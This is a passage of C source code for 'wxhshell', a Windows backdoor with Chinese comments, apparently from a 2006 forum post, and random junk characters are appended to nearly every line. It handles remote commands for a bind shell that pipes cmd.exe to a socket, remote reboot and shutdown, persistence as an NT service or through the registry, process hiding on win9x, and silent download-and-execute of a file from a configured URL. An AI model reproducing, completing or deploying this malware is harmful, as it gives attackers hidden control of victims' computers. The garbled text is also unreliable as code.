    break; \.-bZ$  
  } gw!vlwC&T  
  // 安装 w(L4A0K[  
  case 'i': { :> 5@cvc  
    if(Install()) DA\2rLs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j:v@pzTD  
    else ZP(f3X@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uLV#SQ=bZN  
    break; {e 14[0U-  
    } +{oG|r3L  
  // 卸载 tS6qWtE  
  case 'r': { vw9@v`k  
    if(Uninstall()) M!o##* *`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^I\ /&aw'  
    else VXwU?_4J.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #"G]ke1l$  
    break; ,0!}7;j_c  
    } {N+$Q'  
  // 显示 wxhshell 所在路径 @u6B;)'l  
  case 'p': { gDpVeBd[  
    char svExeFile[MAX_PATH]; 4\iOeZRf  
    strcpy(svExeFile,"\n\r"); EFM5,gB.m  
      strcat(svExeFile,ExeFile); YpVD2.jy  
        send(wsh,svExeFile,strlen(svExeFile),0); T{-CkHf9Q  
    break; ~UP[A'9jJ  
    } Jcd-  
  // 重启 J| w>a  
  case 'b': { VZKvaxIk6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gi1^3R[  
    if(Boot(REBOOT)) .[ICx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1G^`-ri6  
    else { Hquc o  
    closesocket(wsh); `r9!zffyS  
    ExitThread(0); m+]K;}.}R  
    } X aMJDa|M  
    break; W_"sM0 w  
    } g,!L$,/F  
  // 关机 ?Lk)gO^C  
  case 'd': { 5@~ Q^r:%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V2wb%;q  
    if(Boot(SHUTDOWN)) M/"I2m   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s Z].8.  
    else { r7%I n^k  
    closesocket(wsh); 9sYMSc~Bm  
    ExitThread(0); z7fp#>uw  
    } I 7{T  
    break; #Lh;CSS  
    } *nkoPVpC  
  // 获取shell R {SF(g3  
  case 's': { iv J@=pd)B  
    CmdShell(wsh); nksLWfpG?B  
    closesocket(wsh); 'a@/vx&J  
    ExitThread(0); KW pVw!  
    break; k_rt&}e+Gi  
  } rlOAo`hd  
  // 退出 t-tg-<  
  case 'x': { 8p 'L#Q.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g}1B;zGf  
    CloseIt(wsh); V17%=bCZ5[  
    break; iP ->S\  
    } .WZ^5>M-  
  // 离开 h-`?{k&e  
  case 'q': { m[~y@7AK<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *k.G5>@  
    closesocket(wsh); )q8pk2  
    WSACleanup(); 3YOq2pW72G  
    exit(1); d:C'H8  
    break; #A JDWelD  
        } 3u+T~g0^  
  } U:0mp"  
  } V^bwXr4f  
6 ob@[ @  
  // 提示信息 p>v$FiV2N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3M[! N  
} ZbW17@b  
  } Y!w`YYKP  
; F"g$_D0  
  return; *&^Pj%DX  
} B" 1c  
Bq%Jh  
// shell模块句柄 rr],DGg+B]  
int CmdShell(SOCKET sock) 0d)M\lG  
{ On9A U:\  
STARTUPINFO si; @k,#L`3^  
ZeroMemory(&si,sizeof(si)); P~>O S5^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "c%0P"u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FrfM3x6UM  
PROCESS_INFORMATION ProcessInfo; gwuI-d^  
char cmdline[]="cmd"; d;Ym=YHJtn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :^6y7&o[  
  return 0; *K8$eDNZ  
} hd%F nykq  
'}53f2%gKa  
// 自身启动模式 J?"B%B5c  
int StartFromService(void) {4<C_52t  
{ N2^=E1|_  
typedef struct c<B/V0]  
{  MzdV2.  
  DWORD ExitStatus; _^Ubs>d=*  
  DWORD PebBaseAddress; 99e.n0  
  DWORD AffinityMask; /$Nsd  
  DWORD BasePriority; V1N3iI  
  ULONG UniqueProcessId; 5IGX5x  
  ULONG InheritedFromUniqueProcessId; JzQ_{J`k  
}   PROCESS_BASIC_INFORMATION; y4?0j:  
xX&+WR  
PROCNTQSIP NtQueryInformationProcess; %HhnSi1K  
[Gb. JO}X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {T$9?`h~M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )0]'QLH  
M6 "PX *K  
  HANDLE             hProcess; SaO}e  
  PROCESS_BASIC_INFORMATION pbi; -V77C^()8d  
iy.p n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G" qv z{*  
  if(NULL == hInst ) return 0; {L{o]Ii?g  
1hY{k{+o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HmGWht6R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o q Xg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {3mRq"e  
EHJ.T~X  
  if (!NtQueryInformationProcess) return 0; t\dN DS  
:D5Rlfj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,q`\\d  
  if(!hProcess) return 0;  ,f%S'(>w  
~g]Vw4pv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I3L<[-ZE  
zFfr. g;L  
  CloseHandle(hProcess); 8b& /k8i:  
_`j7clEz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BA:VPTZq  
if(hProcess==NULL) return 0; e8a+2.!&\  
V+Y%v.F  
HMODULE hMod; sUO`uqZV  
char procName[255]; Di6?[(8  
unsigned long cbNeeded; ,]F,Uu_H7  
W aRw05r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 76{G'}B  
Jq-]7N%k/  
  CloseHandle(hProcess); 7;(`MIFXs  
B6DYZ+7A  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Fcm[eoC  
!c Hum  
  return 0; // 注册表启动 k(nW#*N_  
} `Y$4 H,8L  
l_d5oAh   
// 主模块 _ ]ip ajT  
int StartWxhshell(LPSTR lpCmdLine) & '`g#N  
{ F v2-(  
  SOCKET wsl; "%w u2%i  
BOOL val=TRUE; +{.WQA}z\  
  int port=0; P/eeC"  
  struct sockaddr_in door; cKI9#t_  
'rkdZ=x{  
  if(wscfg.ws_autoins) Install(); zR:L! S  
A|4[vz9>H  
port=atoi(lpCmdLine); &K#M*B ,*p  
""G'rN_=Bi  
if(port<=0) port=wscfg.ws_port; .uZ3odMlx  
oJz^|dW  
  WSADATA data; +mj y<~\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $qnZl'O>  
QA`sx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;A'mB6?%H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `*R:gE=  
  door.sin_family = AF_INET; Ee! 4xg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M5X&}cN6  
  door.sin_port = htons(port); %ntRG !  
Xc-'Y"}|`t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T.BW H2gRP  
closesocket(wsl); A?P_DA  
return 1; r),kDia  
} IOmfF[  
.t!x<B  
  if(listen(wsl,2) == INVALID_SOCKET) { ]w8(&,PP  
closesocket(wsl); KkbDW3-  
return 1; b]#AI qt  
} hL{KRRf>  
  Wxhshell(wsl); tS=(}2Q  
  WSACleanup(); ;*Et[}3  
ea 'D td  
return 0; /(*q}R3Kfo  
!l8PDjAE  
} ;N0XFjdR  
Wd:uV  
// 以NT服务方式启动 0S!K{xyR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l'_r:b  
{ $%#!bV  
DWORD   status = 0; q>+k@>bk @  
  DWORD   specificError = 0xfffffff; @q7I4  
S4z;7z(8+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uy$e?{Jf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YU'E@t5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3F2w-+L  
  serviceStatus.dwWin32ExitCode     = 0; @# l= l  
  serviceStatus.dwServiceSpecificExitCode = 0; hHnYtq  
  serviceStatus.dwCheckPoint       = 0; @I?=<Riu  
  serviceStatus.dwWaitHint       = 0; !pX>!&sb  
 x'<X!gw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + [mk<pQ  
  if (hServiceStatusHandle==0) return; mCVFS=8V  
@*( (1(q  
status = GetLastError(); 8<Av@9 *}  
  if (status!=NO_ERROR) <0!):zraS  
{ W/h[A3 `3N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }K|oicpUg  
    serviceStatus.dwCheckPoint       = 0; |@d\S[~^G  
    serviceStatus.dwWaitHint       = 0; NC(~l  
    serviceStatus.dwWin32ExitCode     = status; aqk!T%fg  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8{sGNCvU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x7[BK_SY  
    return; #@Jq~$N|  
  } Ad_h K O  
%Q|Atgp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zK@@p+n_#.  
  serviceStatus.dwCheckPoint       = 0; HG^'I+Yn  
  serviceStatus.dwWaitHint       = 0; &Z%?!.4j@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jNk%OrP]  
} l]8uk^E  
VMWf>ZU  
// 处理NT服务事件,比如:启动、停止 0@oJFJrO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ud('0 r',D  
{ *$g-:ILRuZ  
switch(fdwControl) uVrd i?3  
{  }.6[qk  
case SERVICE_CONTROL_STOP: ( a#BV}=  
  serviceStatus.dwWin32ExitCode = 0; v.qrz"98-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &tj!*k'  
  serviceStatus.dwCheckPoint   = 0; P&LsVR{#  
  serviceStatus.dwWaitHint     = 0; ^ [@ ,  
  { /%^#8<=|U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Fr  
  } N~'c_l  
  return; >z@0.pN]7  
case SERVICE_CONTROL_PAUSE: c\j/k[\<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PEZ!n.'S  
  break; =UWI9M*sz  
case SERVICE_CONTROL_CONTINUE: |yPu!pfl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I; rGD^  
  break; Cp0=k  
case SERVICE_CONTROL_INTERROGATE: WH^%:4  
  break; nU7[c| =  
}; EADqC>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w``U=sfmV  
} {)sdiE  
Qo|\-y-#  
// 标准应用程序主函数 PCtzl )  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k!Y, 63V=  
{ 7@W>E;go  
H<+TR6k<  
// 获取操作系统版本 Xsa].  
OsIsNt=GetOsVer(); cw <l{A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4o5t#qP5$S  
Jln:`!#fDf  
  // 从命令行安装 jnwu9PQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); TB31- ()  
^U/O !GK  
  // 下载执行文件 u=e{]Ax#}  
if(wscfg.ws_downexe) { N8df8=.kw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "3J}b?u_[  
  WinExec(wscfg.ws_filenam,SW_HIDE); _|`S3}q|d  
} ;!Fn1|)  
,eS)e+yzc2  
if(!OsIsNt) { k+*u/neh  
// 如果时win9x,隐藏进程并且设置为注册表启动 x]j W<A  
HideProc(); %8v\FS  
StartWxhshell(lpCmdLine); 1< ?4\?j  
} S3J^,*'  
else n+M<\  
  if(StartFromService()) ]6j{@z?{  
  // 以服务方式启动 , W?VhO  
  StartServiceCtrlDispatcher(DispatchTable); .T`%tJ-Em  
else Tp2.VIoQ=  
  // 普通方式启动 1_G^w qk  
  StartWxhshell(lpCmdLine); ) )Za&S*<  
:g/tZd$G5  
return 0; uPvEwq* C  
}
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只看该作者 1 发表于: 2006-10-10
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